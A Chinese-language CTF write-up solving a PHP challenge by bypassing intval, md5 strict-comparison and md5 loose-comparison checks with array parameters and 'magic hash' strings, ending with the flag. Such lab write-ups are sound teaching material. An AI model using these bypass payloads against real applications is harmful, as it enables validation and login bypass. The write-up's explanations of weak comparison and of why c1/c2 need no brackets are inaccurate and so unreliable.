开启NSSCTF靶场,打开链接:
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
发现有三层判断,目前的输出是let's get some php,说明还没有绕过第一层判断
先看第一层判断:
isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])
这段代码的大致意思是:
(1)isset($_POST['a']) 检查是否存在名为a的POST参数,有就返回1
(2)!preg_match('/[0-9]/',$_POST['a']) 检查$_POST['a']的值是否含有0-9的数字,有就返回0
(3)intval($_POST['a']) 将$_POST['a']的值转换为整数,若转换成功就返回转换后的整数
而(1)(2)(3)需要同时为真,(2)(3)结合来看$_POST['a']的值不能为数字,这里可以考虑数组绕过
构造payload:
a[]=a
出现go on说明绕过了第一层判断
第二层判断:
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
}else{echo "nop";}
}
这段代码大致意思是满足POST传参为b1和b2且$_POST['b1']的值不等于$_POST['b2']且md5($_POST['b1'])的值等于md5($_POST['b2'])才能继续执行,否则输出nop
这里也可以用数组的方法绕过
构造payload:
b1[]=1&b2[]=2
a[]=a&b1[]=1&b2[]=2
第三层判断:
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}
这段代码的大致意思是$_POST['c1']的值不等于$_POST['c2'],且$_POST['c1']和$_POST['c2']的值都是字符串且$_POST['c1']和$_POST['c2']的md5的值都要弱相等才能输出flag
(弱相等是指md5值开头要相等)
比如:
QNKCDZO
QLTHNDT
240610708
s878926199a
s155964671a
s214587387a
s214587387a
随机选两个来构造payload:
c1=s878926199a&c2=s155964671a
a[]=a&b1[]=1&b2[]=2&c1=s878926199a&c2=s155964671a
(注意:这里c1和c2之所以不需要[],是因为没有isset()正则判断,a[]和b1[]和b2[]都有isset()正则判断)
得到flag:
NSSCTF{9d92dc5a-e81e-470b-a2a8-2a73a9573e0f}